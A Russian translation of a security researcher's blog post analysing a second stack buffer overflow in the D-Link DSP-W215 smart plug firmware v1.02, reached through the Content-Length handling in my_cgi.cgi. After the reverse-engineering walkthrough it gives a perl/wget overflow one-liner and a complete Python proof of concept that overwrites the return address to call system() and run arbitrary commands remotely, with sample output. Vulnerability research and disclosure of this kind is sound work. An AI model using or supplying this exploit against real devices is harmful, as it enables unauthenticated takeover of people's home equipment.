[Перевод] Взламываем D-Link DSP-W215 Smart Plug. Снова

imageНедавно, D-Link выпустил прошивку v1.02 для DSP-W215, в которой исправлен баг HNAP с переполнением буфера в my_cgi.cgi. Хоть они и быстренько убрали прошивку с сайта: «Вы можете обновить прошивку через мобильное приложение», я успел ее скачать перед моим рейсом в Мюнхен, и 8-часовой перелет предоставил мне достаточно времени для качественного анализа новой версии прошивки.К сожалению, баг с HNAP был не единственной проблемой этого устройства. Конфигурационный файл lighttpd показывает нам, что my_cgi.cgi используется для обработки некоторых страниц, а не только HNAP-запросов:

alias.url += (»/HNAP1/» => »/www/my_cgi.cgi», »/HNAP1» => »/www/my_cgi.cgi», »/router_info.xml» => »/www/my_cgi.cgi», »/post_login.xml» => »/www/my_cgi.cgi», »/get_shareport_info» => »/www/my_cgi.cgi», »/secmark1524.cgi» => »/www/my_cgi.cgi», »/common/info.cgi» => »/www/my_cgi.cgi» ) Главная функция в my_cgi.cgi имеет для ветвления кода: один для обработки HNAP-запросов, а другой — для всего остального: image

Если HTTP-запрос был не HNAP (например, /common/info.cgi) и если это был POST-запрос, то в этом случае, my_cgi.cgi получает некоторые HTTP-заголовки, в том числе и Content-Length: image

Если Content-Length больше нуля, то вызывается функция get_input_entries, которая ответственна за чтение и парсинг POST-параметров: image

Функция get_input_entries принимает два аргумента: указатель на структуру «entries» и размер POST-данных (т.е. Content-Length):

struct entries { char name[36]; // POST paramter name char value[1025]; // POST parameter value }; // Returns the number of POST parameters that were processed int get_input_entries (struct *entries post_entries, int content_length); Это несколько подозрительно, т.к. параметр передается в get_input_entries прямо из заголовка Content-Length, который был указан в HTTP-запросе, а указатель структуры указывает на локальную переменную в стеке в главной функции:

int content_length, num_entries; struct entries my_entries[450]; // total size: 477450 bytes content_length = strtol (getenv («CONTENT_LENGTH»), 10); memset (my_entries, 0, sizeof (my_entries)); num_entries = get_input_entries (&my_entries, content_length); Конечно же, get_input_entries содержит цикл с fgetc (практически такой же, который вызывал HNAP-уязвимость), который парсит POST-запрос (имена и значения) и сохраняет их в структуре «entries»: imageЦикл fgetc

imagefgetc (stdin) внутри цикла for

imageЗначение, прочитанное fgetc, сохраняется в name/value в структуре «entries»

Т.к. структура «entries», в нашем случае, является стековой переменной в main, чрезмерно длинное POST-значение вызовет переполнение стека в get_input_entries, а соответственно, и в main.

Для того, чтобы избежать падение перед возвращением в main (более подробно об этом будет в следующем посте), нам нужно выйти из функции get_input_entries как можно скорее. Проще всего это сделать, передав единственный POST-параметр «storage_path», т.к. код в get_input_entries пропускается, если этот параметр встречается: image

Если мы посмотрим в стек main, мы увидим, что начало структуры «entries» находится на 0×74944 байт дальше от адреса возврата в стеке: image

Из-за того, что на имена из POST-запроса отводится 36 байт в структуре, POST-значение размером 477472 (0×74944–36) байт переполнит на стеке все до сохраненного адреса возврата:

# Overwrite the saved return address with 0×41414141 perl -e 'print «storage_path=»; print «B«x477472; print «A«x4' > overflow.txt wget --post-file=overflow.txt http://192.168.0.60/common/info.cgi image$ra перезаписан значением 0×41414141Теперь мы контролируем $ra, а значит можем вернуться в тот же вызов system (), который мы использовали в переполнении HNAP для того, чтобы выполнять произвольные команды: imageвызов system () по адресу 0×00405CEC

Вот вам PoC:

#!/usr/bin/env python import sys import urllib2 try: target = sys.argv[1] command = sys.argv[2] except: print «Usage: %s » % sys.argv[0] sys.exit (1) url = «http://%s/common/info.cgi» % target buf = «storage_path=» # POST parameter name buf += «D» * (0×74944–36) # Stack filler buf += »\x00\x40\x5C\xEC» # Overwrite $ra buf += «E» * 0×28 # Command to execute must be at $sp+0×28 buf += command # Command to execute buf += »\x00» # NULL terminate the command req = urllib2.Request (url, buf) print urllib2.urlopen (req).read () Который отлично работает с последней версией прошивки:

./exploit.py 192.168.0.60 'ls -l /' drwxr-xr-x 2 1000 1000 4096 May 16 09:01 bin drwxrwxr-x 3 1000 1000 4096 May 17 15:42 dev drwxrwxr-x 3 1000 1000 4096 Sep 3 2010 etc drwxrwxr-x 3 1000 1000 4096 May 16 09:01 lib drwxr-xr-x 3 1000 1000 4096 May 16 09:01 libexec lrwxrwxrwx 1 1000 1000 11 May 17 15:20 linuxrc → bin/busybox drwxrwxr-x 2 1000 1000 4096 Nov 11 2008 lost+found drwxrwxr-x 6 1000 1000 4096 May 17 15:15 mnt drwxr-xr-x 2 1000 1000 4096 May 16 09:01 mydlink drwxrwxr-x 2 1000 1000 4096 Nov 11 2008 proc drwxrwxr-x 2 1000 1000 4096 May 17 17:23 root drwxr-xr-x 2 1000 1000 4096 May 16 09:01 sbin drwxrwxr-x 3 1000 1000 4096 May 20 17:10 tmp drwxrwxr-x 7 1000 1000 4096 May 16 09:01 usr drwxrwxr-x 3 1000 1000 4096 May 17 15:21 var -rw-r--r-- 1 1000 1000 17 May 16 09:01 version drwxrwxr-x 8 1000 1000 4096 May 17 15:15 www

© Habrahabr.ru